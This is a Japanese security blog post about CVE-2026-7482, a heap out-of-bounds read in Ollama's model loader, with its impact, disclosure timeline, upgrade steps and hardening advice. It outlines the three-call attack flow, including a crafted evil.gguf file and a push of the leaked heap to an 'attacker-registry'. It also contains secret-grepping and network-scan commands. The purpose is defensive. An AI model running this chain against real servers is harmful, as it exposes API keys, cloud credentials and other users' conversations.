SJ blog
security
A

信頼度ランク

S 公式ソース確認済み
A 成功実績多数・失敗例少数
B 賛否両論
C 動作未確認・セキュリティリスク高
Z 個人所感

Ollama「Bleeding Llama」CVE-2026-7482——30万台のローカルLLMサーバーがヒープメモリ全漏洩のリスクに晒された仕組み

Ollamaのヒープ範囲外読み取り脆弱性CVE-2026-7482(CVSS 9.1)は未認証の攻撃者がプロセスメモリ全体を外部に流出できる。APIキー・システムプロンプト・チャット断片を3回のAPIコールで盗む攻撃経路と修正済みバージョン0.17.1への対応を解説。

一言結論

CVE-2026-7482はOllamaのGGUFローダーに存在するヒープ範囲外読み取りで、認証不要の3つのAPIコールでサーバーのヒープメモリ全体を漏洩できる。パッチは2月25日にv0.17.1として出荷されたが、リリースノートにセキュリティ修正の記載がなく、CVE番号の付番も2ヶ月遅延。30万台超の公開サーバーが現在も旧バージョンのまま運用されている可能性がある。

何が起きたか

2026年5月1日、Cyera Research が CVE-2026-7482「Bleeding Llama」 を公開した。Ollama のGGUFモデルローダーに存在するヒープ範囲外読み取り(heap out-of-bounds read)により、未認証のリモート攻撃者がOllamaプロセスのヒープメモリ全体を漏洩・外部送信できる脆弱性だ。

CVE-2026-7482 基本情報:
  CVSSスコア:   9.1(Critical)
  種別:         ヒープ範囲外読み取り(CWE-125)
  影響製品:     Ollama < 0.17.1
  認証:         不要(Unauthenticated)
  ユーザー操作: 不要
  公開サーバー: 30万台超(Shodan調査時点)
  CVE公開日:    2026年5月1日
  パッチ公開日: 2026年2月25日(v0.17.1)

脆弱なコードパス

Ollamaはモデルファイル(GGUF形式)のアップロード・プル・管理APIを認証なしで公開している。攻撃者はテンソルオフセット/サイズを水増しした細工済みGGUFファイルを使って、ローダーにヒープ境界外を読ませる。

攻撃フロー(3つのAPIコール):

1. POST /api/create
   Content-Type: application/json
   Body: {"name": "exploit", "modelfile": "FROM ./evil.gguf"}
   → 細工済みGGUFをサーバーに読み込ませる
   → ヒープ範囲外読み取りが発火

2. GET /api/show?name=exploit
   → ローダーが参照したヒープ領域の内容がレスポンスに混入

3. POST /api/push
   Body: {"name": "attacker-registry/dump"}
   → 漏洩データを攻撃者管理のレジストリへ外部送信
   → サーバーログにはエラーが残らない

漏洩するデータ

Ollamaのヒープには推論処理中のあらゆるデータが乗っている。

ヒープから漏洩しうるデータ:
  ✗ システムプロンプト(他ユーザーの会話文脈)
  ✗ チャットメッセージの断片(マルチユーザー環境)
  ✗ 環境変数(OPENAI_API_KEY, ANTHROPIC_API_KEY 等)
  ✗ データベース接続文字列
  ✗ AWSアクセスキー / クラウドサービス認証情報
  ✗ コード補完で処理中のソースコード
  ✗ 医療・個人情報(PHI/PII)を含む推論ジョブの入出力

企業ネットワーク内でOllamaをインターナルサービスとして運用している場合でも、内部ネットワークからの攻撃(またはLateral Movement後のアクセス)で同様の被害が発生しうる。


なぜパッチ後も危険なのか:開示の失敗

CVE-2026-7482 タイムライン:
  2026年2月25日: Ollama v0.17.1 リリース(パッチ含む)
                  → リリースノートにセキュリティ修正の記載なし
  2026年3月2日:  Cyera が MITRE に CVE リクエスト送信
  2026年4月28日: CVE-2026-7482 が付番(MITREが2ヶ月無応答後にEchoが割当)
  2026年5月1日:  CVE 公開・詳細レポート公開

問題:
  CVE番号がない間 → 脆弱性スキャナーが検出できない
  リリースノートに記載なし → patch管理ツールがセキュリティ更新と認識しない
  結果: パッチから2ヶ月後も多数のサーバーが脆弱なバージョンのまま稼働

対応手順

# 1. バージョン確認
ollama --version
# → 0.17.1 未満なら即座に更新が必要

# 2. Ollamaのバージョンアップ(Linux)
curl -fsSL https://ollama.com/install.sh | sh

# 3. Ollamaのバージョンアップ(macOS)
brew upgrade ollama

# 4. Docker環境
docker pull ollama/ollama:latest
# または docker-compose.yml の image タグを 0.17.1 以上に更新

# 5. インターネット公開状態の確認(外部からアクセス可能か)
# Ollamaのデフォルトポートは 11434
curl -s http://localhost:11434/api/version
# ファイアウォール設定で外部からの 11434 ポートへのアクセスを遮断すること

# 6. 環境変数に APIキーが露出していないか確認
printenv | grep -i "api_key\|token\|secret\|password"
# Ollamaプロセスの環境変数に機密情報が含まれている場合、漏洩リスクあり
# 公開されているOllamaサーバーを自社ネットワーク内でスキャン(セキュリティチーム向け)
nmap -p 11434 --open 192.168.0.0/16 -oG - | grep "11434/open"
# → ヒットしたホストは即座にバージョン確認 & アップデート

❌ 悪い構成 → ✅ 良い構成

# ❌ 悪い例: Ollamaをすべてのインターフェースで公開
OLLAMA_HOST=0.0.0.0 ollama serve

# ✅ 良い例: ローカルホストのみにバインド
OLLAMA_HOST=127.0.0.1 ollama serve

# ✅ さらに良い例: 同一ホスト上のアプリからのみアクセス可能にした上でリバースプロキシ経由で認証を追加
# nginx の例:
# location /api/ {
#     auth_basic "Ollama API";
#     auth_basic_user_file /etc/nginx/.htpasswd;
#     proxy_pass http://127.0.0.1:11434/api/;
# }

落とし穴・注意点

  • 「内部ネットワークだから安全」は通じない: イントラネット上のOllamaでも、Webシェル・マルウェアに感染した別ホストやLateral Movementした攻撃者から叩かれる可能性がある
  • Docker環境も同様: docker run -p 11434:11434 ollama/ollama は外部に公開されているのと同じ。ポートバインドを 127.0.0.1:11434:11434 に限定すること
  • v0.17.1のリリースノートを確認しているだけでは不十分: 「セキュリティ修正」という記載がなかったため、パッチ管理ツールが追跡していない可能性がある。バージョン番号で直接確認すること
  • GGUF以外のモデル形式も今後のリスク: OllamaはGGUF以外の形式対応も進んでいる。Cyeraは「他のローダーにも類似のパスが存在する可能性がある」と指摘している

まとめ

Bleeding Llama(CVE-2026-7482)は「ローカルLLMは安全」という思い込みを覆す事例だ。認証不要・3つのAPIコール・ログに痕跡なし、という攻撃の単純さに対して、漏洩するのはAPIキー・他ユーザーの会話・クラウド認証情報という高価値データだ。パッチは2月に出荷されていたが「セキュリティ修正」と明示されなかったことで2ヶ月間の空白が生まれた。今すぐ ollama --version を確認し、0.17.1 未満なら即アップデートすること。


参考リンク

免責: 本記事は2026年5月時点の公開情報に基づく。技術的詳細はCyera Researchの開示レポートを参照のこと。攻撃コードの再現はCtFや授権されたペンテスト環境のみで実施すること。